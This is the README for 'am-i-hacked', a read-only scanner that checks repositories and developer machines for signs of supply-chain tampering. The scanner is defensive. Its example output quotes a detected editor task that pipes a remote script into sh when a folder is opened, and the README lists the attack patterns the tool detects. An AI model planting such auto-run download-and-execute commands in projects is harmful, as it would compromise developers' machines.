am-i-hacked
am-i-hacked is a command-line scanner that checks the code you are about to run, and the machine you run it on, for signs of a supply-chain or dev-environment attack. npx am-i-hacked scans the current folder; --system also audits the machine. It is read-only, makes no network calls, needs no account, and exits 1 on findings. It is not antivirus: a clean result means no warning signs were found.
Who it is for
- Developers about to run a repository they did not write: a take-home test, a contributor's branch, a template, code an AI agent produced.
- Teams that want a pre-run gate in a dev script or CI, next to their advisory scanner.
- Anyone who suspects their own development machine has been tampered with.
Install and run
npx am-i-hacked # scan the folder you are in
npx am-i-hacked path/to/repo # scan another folder
npx am-i-hacked --system # also check this machine
npm install --save-dev am-i-hacked
| Scan | Needs |
|---|---|
| Folder | bash 4.2+, ripgrep (rg), and jq for package.json scripts |
System (--system) | bash 3.2+ and jq. Read-only; no ripgrep, root or sudo |
macOS ships bash 3.2, so the folder scan re-runs itself under a newer bash when one is installed (Homebrew, mise, nix, asdf, MacPorts) and otherwise says what to install. Get the rest with brew install ripgrep jq or apt-get install ripgrep jq.
What the folder scan detects
- Dynamic code execution, child processes, direct network module access and runtime global mutation.
- Encoded or obfuscated payloads and unusually long lines.
package.jsonscripts usingcurl,wget,powershell,child_process,node -e,base64oreval.- Editor config that runs code on folder open, and download-and-run commands in editor config.
- Executable payloads disguised as asset files.
- Clipboard, keystroke or screen capture paired with an exfiltration endpoint.
.envfiles in the git index.- Official Yarn releases, verified by SHA256.
- The folder's AI-tool config:
.claude/settings*.jsonand.mcp.json. - Python virtualenv integrity: files that no longer match their package
RECORDhashes, files no package owns, and.pthor startup hooks that run code. Next release.
Languages read: JS/TS, Python, Rust, Ruby, C, C++ and C#. Dot-directories and tracked files that .gitignore matches are read; node_modules and .git are skipped. In bundled output (webpack, esbuild, ncc) only high-signal patterns are reported.
What the system scan detects
- Login persistence: launchd on macOS; systemd user units and XDG autostart on Linux; the user crontab. On macOS, the code signature and Team ID of what each item launches.
- Shell startup files: piped remote scripts, injected libraries, hijacked
sudoorssh, background launchers, redirected AI API base URLs, proxies and extra certificate authorities. - User-level and managed AI-tool config for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code: permission bypass, plain-text keys, MCP servers that run unpinned code, and hooks.
- Running processes that run capture scripts or scripts from staging areas.
- "Dark corners" where tooling installs code outside any project, such as virtualenvs, package-manager caches and language bin folders. Next release.
Example output
am-i-hacked: FAILED — 2 findings across 1 file
.vscode/tasks.json:7
"command": "curl -fsSL https://example.test/setup.sh | sh",
→ Download-and-run command in editor config
.vscode/tasks.json:8
"runOptions": { "runOn": "folderOpen" }
→ Editor auto-run task
Dev scripts and CI
{ "scripts": { "dev": "am-i-hacked && next dev" } }
# GitHub Actions, ubuntu-latest (has bash, jq and npx, not ripgrep)
- run: sudo apt-get install -y ripgrep
- run: npx am-i-hacked@2
Flags
| Flag | Meaning |
|---|---|
<dir> | Directory to scan (default: the current directory) |
host [dir] | Check only a folder's AI-tool config |
--system, --full-system-scan | Also audit the whole machine |
--max-findings N | Maximum findings printed (default 1000; the true total is always shown). Next release. |
-v, --verbose | System scan: also list informational items and every persistence entry with its signer |
-h, --help | Show usage |
Exit codes
0 nothing found; 1 findings to review (HIGH or MEDIUM) or a missing requirement; 2 usage error.
Suppressing a reviewed finding
Add am-i-hacked-ignore: <reason> on the flagged line or the line before it. The reason is required, and suppressed findings are listed on every run. The older am-i-compromised-ignore: spelling still works. For the system scan, add <finding id> | <reason> to ~/.config/am-i-hacked/host-allow.txt.
safe-pull
Installed with the package. It fetches, inspects incoming commits before anything is written to disk, then fast-forwards: rewritten upstream history, author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads, committed .env files. safe-pull --dry-run inspects only.
What it does not do
- It is not antivirus and does not look up known viruses or malware hashes.
- It does not check dependency versions against vulnerability advisories, and does not scan
node_modules. - It does not judge plain-language instructions aimed at an AI agent.
- System-wide Linux units and
/etc/cron.*are not covered yet. - Some checks flag ordinary code, such as
eval. A clean result does not prove the code or machine is safe.
Facts
- Formerly published as
am-i-compromised; that command name, and the short formsaihandaic, still work. - Commands installed:
am-i-hacked,aih,am-i-compromised,aic,security-gate,scanner,safe-pull. - Plain bash, zero npm runtime dependencies, MIT licensed. Source: apps/am-i-hacked. Changelog: CHANGELOG.md.